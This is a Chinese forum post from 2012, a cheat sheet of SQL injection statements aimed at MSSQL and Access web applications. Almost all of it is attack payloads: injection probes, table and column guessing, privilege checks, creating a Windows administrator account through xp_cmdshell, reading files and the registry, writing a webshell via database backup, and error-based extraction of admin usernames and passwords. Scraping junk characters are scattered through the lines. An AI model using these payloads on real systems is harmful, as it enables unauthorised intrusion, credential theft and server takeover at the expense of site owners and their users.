找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2190|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入 9 U1 a0 j: ]9 h7 m8 \1 k5 T  V# l
;and 1=1   u; i' a& T+ f/ |6 O. i# N/ s
;and 1=2 , h8 Z0 _0 u7 C7 h7 ^
. R- e* H+ s0 x. J
2.初步判断是否是mssql - ?2 G: n& c4 i, [( Y+ ?! i* `
;and user>0 7 Q6 G0 V. Y0 V0 M9 S
+ K- W" n7 w" b- _/ {
3.判断数据库系统
, ^8 y8 I. S+ ^* w8 `;and (select count(*) from sysobjects)>0 mssql 1 g# K" ]+ B/ K* X4 d
;and (select count(*) from msysobjects)>0 access
( n* i$ V* g/ [" S# F, _, \2 h# k: v: |
4.注入参数是字符 ! u, b2 R. e. k/ I  |* v- f. R
'and [查询条件] and ''=' 8 p& T' ]# c1 K) T( D5 k! z- `

- L; L/ P* M% v0 w6 ?* h! j5.搜索时没过滤参数的
$ N! ^, D2 a* g9 N( u'and [查询条件] and '%25'='
$ u8 z  e& _5 m4 a/ Q
+ T  z% G9 ~) B+ \; q( P6.猜数表名 ( U5 R/ r* R# l' M  ^8 r
;and (select Count(*) from [表名])>0
. w) T4 ?. i4 p0 x2 _% u3 l1 w, D5 L6 k% E8 z& ?: r& @/ {, O/ O
7.猜字段
7 S! G" J, P6 K- F2 H0 A;and (select Count(字段名) from 表名)>0 ) ^4 Q+ N6 Q$ R5 v( K6 C

/ P. Y1 n0 I" i* U# I- f% f8.猜字段中记录长度
" y7 i) C8 v' l  i4 m% V;and (select top 1 len(字段名) from 表名)>0
8 N# y" ?5 U4 v2 {! b
& S2 `  L- i9 {7 y+ Y, [; @/ k- u9.(1)猜字段的ascii值(access) : d) k* s& A/ F0 X% Y
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
* b0 b: N- U& s: \" i' p1 j
' ?8 r: L, Z5 N(2)猜字段的ascii值(mssql) 1 G9 H- G$ d  v
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
/ h/ _# Z" o1 g: U. e
+ o8 Y* b4 p; B' M# t10.测试权限结构(mssql)
4 m  e3 I- y" h! S2 X$ J;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 5 L6 L0 I2 w2 C$ m; O" P
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3 B* z$ m- n7 w. Q
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
, P6 G$ E8 ~9 o5 E/ D;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
8 ?/ K" [0 |9 @- R;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
  Y& L, ~7 k$ ^;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
) K$ U3 n' u! `7 D; s;and 1=(select IS_MEMBER('db_owner'));--
+ v. W4 r0 Y3 @, Q: y: L! K) F7 h$ r1 G) K- {
11.添加mssql和系统的帐户 ; I9 D7 m, k# T& X, e
;exec master.dbo.sp_addlogin username;--
# o# H+ R. b7 O! N/ i7 w4 E4 [: l3 a;exec master.dbo.sp_password null,username,password;--
3 N# p  \* e% C6 A+ V$ [;exec master.dbo.sp_addsrvrolemember sysadmin username;-- % M& V$ e* v. V9 e* `8 {
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 5 j+ b* f$ X" Y9 n, q  j* k
;exec master.dbo.xp_cmdshell 'net user username password /add';--
+ ^8 N" b$ s1 H$ \6 B;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- " D4 z8 ?# x! ]: L5 y, l; Q  U
, @! N6 h1 s/ k8 F( h. f1 S
12.(1)遍历目录 1 J' J! N$ {4 D6 P8 j/ N4 m6 U
;create table dirs(paths varchar(100), id int)
: w3 m6 F, X& q9 _+ g; ^;insert dirs exec master.dbo.xp_dirtree 'c:\' % C0 Y6 \' U9 }) h+ J2 W: d6 q
;and (select top 1 paths from dirs)>0 " Z) d# D- F! n$ H% G
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
" k( n/ ?) Q, b5 q) J' }* m8 }4 Y- D* W' I. X
(2)遍历目录
9 ^" x) ?  Z; b( ~1 a;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- : U6 B* S: Q2 {. M# {
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 / \3 c7 H7 E! Y$ U- l. H. W! V. `
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 2 C7 M7 \3 W2 s  g, }- f
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
5 Y) M3 O9 q9 f( e' C;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
% G! Q3 P6 E$ X/ R9 b
. P, P" o& Q) g6 p13.mssql中的存储过程 * X7 V  R. T3 Y) r1 `: ~1 g& ^0 F
xp_regenumvalues 注册表根键, 子键 6 K* I# s, ]: c) \! W
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
6 o. P1 x# T4 Z) ^xp_regread 根键,子键,键值名 , q" q5 w, U! F. K) b* B  u
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1 x$ Z4 I* \9 `% m4 H1 j7 x$ {& t+ I
xp_regwrite 根键,子键, 值名, 值类型, 值
1 ?2 G4 q5 w% ~$ K9 ]值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
+ m8 w- N7 Z, ?: O  H2 r: Q% |; p;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 9 A& z: ?$ O6 |2 R# J
xp_regdeletevalue 根键,子键,值名 ' C/ d4 }& ~% {5 u& @$ I9 s) L
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
: ]  h, d0 ~0 L* N/ G( Ixp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 - y+ E- o. H0 h

& O; N9 v, @- L% _# r- L! x/ H14.mssql的backup创建webshell $ n6 j0 n' y9 D' }. z
use model / }! q2 U: t5 p4 e! i
create table cmd(str image);
8 }! e) X9 f  binsert into cmd(str) values ('<% Dim oScript %>'); & S0 \4 q  n: A$ s7 c, M
backup database model to disk='c:\l.asp';
# U2 p- y' E$ d# k( k& z1 G& ?4 d' t0 Y4 O1 x' P
15.mssql内置函数
" y' t: _5 T' F$ _. L1 u4 n( ~;and (select @@version)>0 获得Windows的版本号 ) h* x/ h$ Q! ^& T* i  B
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
1 f# \+ ~+ _- b( T2 k' p;and (select user_name())>0 爆当前系统的连接用户 2 U2 I1 k6 r# q$ m
;and (select db_name())>0 得到当前连接的数据库 . A- @5 N9 I7 x0 r% y9 P4 l& h

% l. g* y  F4 u" h6 x' g) T. [9 P) g% T
6 e" Q! w+ g! }  ~/ F: B
MSSQL手注暴库2 R" `9 T* l; K3 [% Y

) h% Z+ C; N$ V. `8 H/ v1.暴出当前表名和列名
, j+ T, w* k1 q6 E' L$ `在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。- P: j8 ]& g) h' q

! G( n# d0 \$ C3 d& g  X5 ?第一.爆出所有数据库名5 P, A( h# x7 W! X
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
, v% i% G3 X6 U& l, J第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。7 X8 z7 z/ d/ G! @* Q) Y) \( O

8 A6 R1 R$ D; a$ ~3 Kand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名0 y0 d8 g  |9 U6 Y8 e. ?, m) m6 _
4 y- y5 @' h- {0 L: ^6 b, D

7 ^2 d+ T4 g! g第二.爆出指定库中的所有表名
+ m" H" a4 D( T; J9 |得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
4 Z8 i) J) O# T1 y再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。  k& b6 V# x% z+ L* K

' a& Z9 C1 K: Y3 o( `and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--% N, |- T4 _% A
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
8 F8 R# f: ?1 V% C+ I0 ~4 Xand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--, W& M. d+ b- N. Q  c

. b5 |# e' }% i( v0 b+ M( v4.爆出指定表中的所有列名
( o6 ^1 W' m) N7 P5 Uand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) , F) T, V1 _  A: D6 d% U# z+ }0 y; k
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
8 N8 u& w0 V7 I7 [* Y  K
+ d( A( r* W% y5 rand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名2 x5 j2 @& o; ~

9 n- M3 W# d% q' S) L, i7 F1 z再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- $ O9 ~) ?  @' e/ H
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
9 K5 ?1 f8 w8 C3 m) B2 ?' [
/ v' ]3 P% f1 E& I% B0 C
9 i/ b3 I4 f; I/ x+ U6 Yand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
  k( A8 V7 X/ N! R! Y
% A4 ^) t9 G8 z. R) Y  mand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名) O4 R+ S1 L% E% y

( t! R% c! L' |2 ?5 E: hand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
. v8 C9 p7 i; _+ W' U$ U' }  |( }% \& a$ T: q/ I, S
8 `, A) z9 q$ T7 ]+ L
* G, G' y5 k3 X% W3 i! ~7 F
5.读取指定表中的数据5 [1 c# o/ a, d! g# h" t1 X- b! {
" e9 V3 p: ?: R+ D% n
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 " l4 [3 O; E. _3 j& ?

) K# w0 g' y  a! `and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--9 Z4 i+ X5 P0 F- |6 s

# D$ F- }. i& |- nand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码- f: n. I$ |8 B# s; Y/ v+ Z
; O  }- Z8 U' C$ ~2 n

$ T3 S/ ~' [6 M6 @and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)4 e( Y8 f8 _* j2 a% e# ]

- g* y# I! y& P+ F% ]8 T. i! fand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)& \: ^! p8 ^' o1 M$ k2 L

7 i) ?/ E$ a, N& v9 n2 R& `$ B2 L% Cand 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
+ k2 Y8 {5 l2 y. H8 K( }2 ]/ W  X1 N
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。+ ?' J' Y' V4 O  l  q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表